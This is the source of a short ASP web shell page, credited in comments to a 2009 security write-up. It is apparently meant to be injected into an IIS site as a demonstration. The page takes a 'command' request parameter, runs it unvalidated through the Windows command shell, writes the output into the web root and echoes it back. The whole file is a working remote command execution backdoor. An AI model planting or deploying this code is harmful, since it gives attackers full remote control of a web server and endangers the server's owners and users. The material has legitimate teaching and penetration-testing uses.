<% ' Simple ASP SHELL - (C) 2009 James Shewmaker - http://www.bluenotch.com/resources/aspshell.txt ' I mentioned you could create an ASP shell page but the aspshell.sf.net ' was too complicated to inject into our example, so I just threw this together. ' Note there is no input validation and this code is very unsafe by nature, ' but it gets the job done in a pinch and simpler than the source forge aspshell. const Filename = "results.txt" If Not IsEmpty(Request( "command" ) ) Then Dim wshell, intReturn set wshell = server.createobject("wscript.shell") intReturn = wshell.run("%comspec% /c " & Request("command") & ">c:\inetpub\wwwroot\results.txt", 0, True) set wshell = nothing End If %>

"/>

<% Dim Filepath,FSO Filepath = Server.MapPath(Filename) set FSO = server.createObject("Scripting.FileSystemObject") if FSO.FileExists(Filepath) Then Dim file set file = FSO.GetFile(Filepath) ' Open the file Dim TextStream Const ForReading = 1, ForWriting = 2, ForAppending = 3 Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0 Set TextStream = file.OpenAsTextStream(ForReading, TristateUseDefault) ' Read the file line by line Do While Not TextStream.AtEndOfStream Dim Line Line = TextStream.readline ' Do something with "Line" Line = Line & vbCRLF Response.write Line Loop end if %>